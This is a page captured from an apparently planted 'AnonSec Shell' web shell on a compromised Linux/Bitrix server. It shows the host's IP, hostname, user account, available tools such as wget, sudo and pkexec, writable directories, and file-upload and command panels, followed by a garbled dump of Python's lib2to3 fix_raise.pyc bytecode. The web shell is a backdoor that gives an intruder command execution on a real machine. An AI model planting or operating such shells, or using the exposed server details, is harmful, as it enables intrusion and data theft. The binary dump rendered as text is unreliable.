AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.116.8.148
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/lib2to3/fixes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/lib64/python2.7/lib2to3/fixes/fix_raise.pyc
�
ۜSec@s{dZddlmZddlmZddlmZddlmZmZm	Z	m
Z
mZdejfd��YZ
dS(	s[Fixer for 'raise E, V, T'

raise         -> raise
raise E       -> raise E
raise E, V    -> raise E(V)
raise E, V, T -> raise E(V).with_traceback(T)
raise E, None, T -> raise E.with_traceback(T)

raise (((E, E'), E''), E'''), V -> raise E(V)
raise "foo", V, T               -> warns about string exceptions


CAVEATS:
1) "raise E, V" will be incorrectly translated if V is an exception
   instance. The correct Python 3 idiom is

        raise E from V

   but since we can't detect instance-hood by syntax alone and since
   any client code would have to be changed as well, we don't automate
   this.
i(tpytree(ttoken(t
fixer_base(tNametCalltAttrtArgListtis_tupletFixRaisecBseZeZdZd�ZRS(sB
    raise_stmt< 'raise' exc=any [',' val=any [',' tb=any]] >
    c
Cs|j}|dj�}|jtjkrEd}|j||�dSt|�r�x*t|�r}|jdjdj�}qTWd|_nd|kr�t	j
|jtd�|g�}|j|_|S|dj�}t|�rg|jdd!D]}|j�^q�}	nd	|_|g}	d
|kr�|d
j�}
d	|
_|}|jtj
ksm|jdkrt||	�}nt|td��t|
g�g}t	j
|jtd�g|�}|j|_|St	j
|jtd�t||	�gd
|j�SdS(Ntexcs+Python 3 does not support string exceptionsiiu tvaluraisei����uttbuNoneuwith_tracebacktprefix(tsymstclonettypeRtSTRINGtcannot_convertRtchildrenRRtNodet
raise_stmtRtNAMEtvalueRRRtsimple_stmt(
tselftnodetresultsR
R	tmsgtnewR
tctargsRtetwith_tb((s//usr/lib64/python2.7/lib2to3/fixes/fix_raise.pyt	transform&s@	!,			!%"(t__name__t
__module__tTruet
BM_compatibletPATTERNR!(((s//usr/lib64/python2.7/lib2to3/fixes/fix_raise.pyRsN(t__doc__tRtpgen2RRt
fixer_utilRRRRRtBaseFixR(((s//usr/lib64/python2.7/lib2to3/fixes/fix_raise.pyt<module>s
(

Anon7 - 2022
AnonSec Team